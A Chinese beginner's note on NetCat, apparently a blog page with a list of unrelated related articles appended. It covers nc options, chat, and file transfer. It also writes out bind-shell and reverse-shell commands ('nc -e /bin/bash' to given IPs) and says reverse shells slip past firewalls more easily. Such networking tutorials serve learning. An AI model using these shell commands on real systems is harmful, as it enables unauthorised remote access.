简介:

NC(全名NetCat),在网络界有"瑞士军刀"的美誉。它小巧而强悍,被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。

使用格式:

nc [options...] hostname port

nc -l -p port [-s addr] [options...] [hostname] [port]

主要参数:

-4 IPv4模式
-6 IPv6模式
-b, --bluetooth 蓝牙模式 (默认为L2CAP协议)

-e,--exec=CMD 连接建立后执行命令

-l 监听入站连接

-n 指定数字的IP地址,不能用hostname

-u UDP模式

-t TCP模式(默认模式)

-v 详细输出——用两个-v可得到更详细的内容

-w,--time=SECONDS 连接建立后的延时

-z 扫描模式,不会发送任何数据

-T,--ttl=TTL 自定义初始TTL

-z 将输入输出关掉——用于扫描时

-x,--transfer 文件传输模式

-X ,--rev-transfer 反向文件传输模式

-s,--address=ADDRESS 本地源ip

使用举例:

1. 交互数据传输(简单聊天):

nc可以作为简单的字符下聊天工具使用:

[本地] nc -lp 1234

[远程] nc 222.24.51.53 1234

2. 正向连接:

注:远程主机(ip:222.24.51.116)上运行nc -l -p 1234 -t -e /bin/bash监听其本地端口,一旦连接建立,就执行其/bin/bash,本地主机连接到远程主机,将已经连接的CMD重定向到1234端口的远程主机。

[远程主机] nc -l -p 1234 -t -e /bin/bash

[本地主机] nc -nvv 222.24.51.116 1234

3. 反向连接:

注:先在本地主机(拥有公网IP)开启1234 端口并监听等待远程主机连接;在远程主机上将其 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上。

[本地主机] nc -l –vv -p 1234

[远程主机] nc -t -e /bin/bash 222.24.51.53 1234

总结:以上两种连接方式中,反向连接就是反弹shell到本地,因为由远程主机发送的数据请求其本地防火墙一般不会去拦截,故反向更易连接。

4. 文件传输:

从远程主机把ap-wlan0文件传送到本地并重命名为ap-wlan文件:

[本地主机] nc -v -l -p 1234 > ./ap-wlan

[远程主机] nc -vv 222.24.51.53 < /home/linger/ap-wlan0

NC入门笔记的更多相关文章

  1. 每天成长一点---WEB前端学习入门笔记

    WEB前端学习入门笔记 从今天开始,本人就要学习WEB前端了. 经过老师的建议,说到他每天都会记录下来新的知识点,每天都是在围绕着这些问题来度过,很有必要每天抽出半个小时来写一个知识总结,及时对一天工 ...

  2. ES6入门笔记

    ES6入门笔记 02 Let&Const.md 增加了块级作用域. 常量 避免了变量提升 03 变量的解构赋值.md var [a, b, c] = [1, 2, 3]; var [[a,d] ...

  3. [Java入门笔记] 面向对象编程基础(二):方法详解

    什么是方法? 简介 在上一篇的blog中,我们知道了方法是类中的一个组成部分,是类或对象的行为特征的抽象. 无论是从语法和功能上来看,方法都有点类似与函数.但是,方法与传统的函数还是有着不同之处: 在 ...

  4. React.js入门笔记

    # React.js入门笔记 核心提示 这是本人学习react.js的第一篇入门笔记,估计也会是该系列涵盖内容最多的笔记,主要内容来自英文官方文档的快速上手部分和阮一峰博客教程.当然,还有我自己尝试的 ...

  5. redis入门笔记(2)

    redis入门笔记(2) 上篇文章介绍了redis的基本情况和支持的数据类型,本篇文章将介绍redis持久化.主从复制.简单的事务支持及发布订阅功能. 持久化 •redis是一个支持持久化的内存数据库 ...

  6. redis入门笔记(1)

    redis入门笔记(1) 1. Redis 简介 •Redis是一款开源的.高性能的键-值存储(key-value store).它常被称作是一款数据结构服务器(data structure serv ...

  7. OpenGLES入门笔记四

    原文参考地址:http://www.cnblogs.com/zilongshanren/archive/2011/08/08/2131019.html 一.编译Vertex Shaders和Fragm ...

  8. OpenGLES入门笔记三

    在入门笔记一中比较详细的介绍了顶点着色器和片面着色器. 在入门笔记二中讲解了简单的创建OpenGL场景流程的实现,但是如果在场景中渲染任何一种几何图形,还是需要入门笔记一中的知识:Vertex Sha ...

  9. unity入门笔记

    我于2010年4月1日硕士毕业加入完美时空, 至今5年整.刚刚从一家公司的微端(就是端游技术+页游思想, 具体点就是c++开发, directX渲染, 资源采取所需才会下载)项目的前端主程职位离职, ...

随机推荐

  1. hadoop 官方配置文件解析

    比如我的版本是2.8.4 官网文档是: http://hadoop.apache.org/docs/r2.8.4/ 基本配置文件:包括一般的端口 hdfs-default.xml dfs.nameno ...

  2. ReentrantLock 使用

    从使用场景的角度出发来介绍对ReentrantLock的使用,相对来说容易理解一些. 场景1:如果发现该操作已经在执行中则不再执行(有状态执行) a.用在定时任务时,如果任务执行时间可能超过下次计划执 ...

  3. Centos 安装Mongo DB

    NOSQL在很短的时间里使用人数据高涨,这不仅是它提出的一种新存储思想,更是因为它在对大数据做操作的效率,明显高于关系数据库 工具/原料   接入Internet的一台Centos计算机 下载安装文件 ...

  4. 本地Maven库添加SQLServer2012 sqljdbc4.jar

    最近又开始搞Java项目了,学习下maven用法(ant时代真的过去了啊?) 选了个国内的小框架来做,有个小需求,客户需要用牛逼哄哄的SQLServer,新版的比如SQLServer2012的sqlj ...

  5. 基于快速排序的数组划分:2组 3组 K组(sort color)大小写排序 · Partition Array

    2组: [抄题]: 给出一个整数数组 nums 和一个整数 k.划分数组(即移动数组 nums 中的元素),使得: 所有小于k的元素移到左边 所有大于等于k的元素移到右边 返回数组划分的位置,即数组中 ...

  6. 20-java 对象链表空没空呢

    写了一个 对象链表,往里面add了一些对象,最后我想看下链表是否为空,用  == null  为假,也看不出, 看下长度? 好吧, size() = 1: 打印  null ,  那到底是不是空 啊, ...

  7. 文件Move操作

    #coding=utf-8 import os import shutil stra = "G:/should/v3/a" strb = "G:/should/v3/b& ...

  8. Linq select 语法

    文档:https://code.msdn.microsoft.com/101-LINQ-Samples-3fb9811b 1.可以对查询出来的结果做一些转换,下面的例子在数组中查找以"B&q ...

  9. 『SpringMVC』<context:include-filter>&<context:exclude-filter>爬坑

    原文地址:https://segmentfault.com/a/1190000012972619 大家好,我是猪弟,猪在我心中从来不是蠢的代名词,而是懒的代名词,本次准备记录一个在开发测试过程中遇到的 ...

  10. Golang之beego读取配置信息,输出log模块

    1,准备好配置文件 [server] listen_ip = "0.0.0.0" listen_port = [logs] log_level=debug log_path=./l ...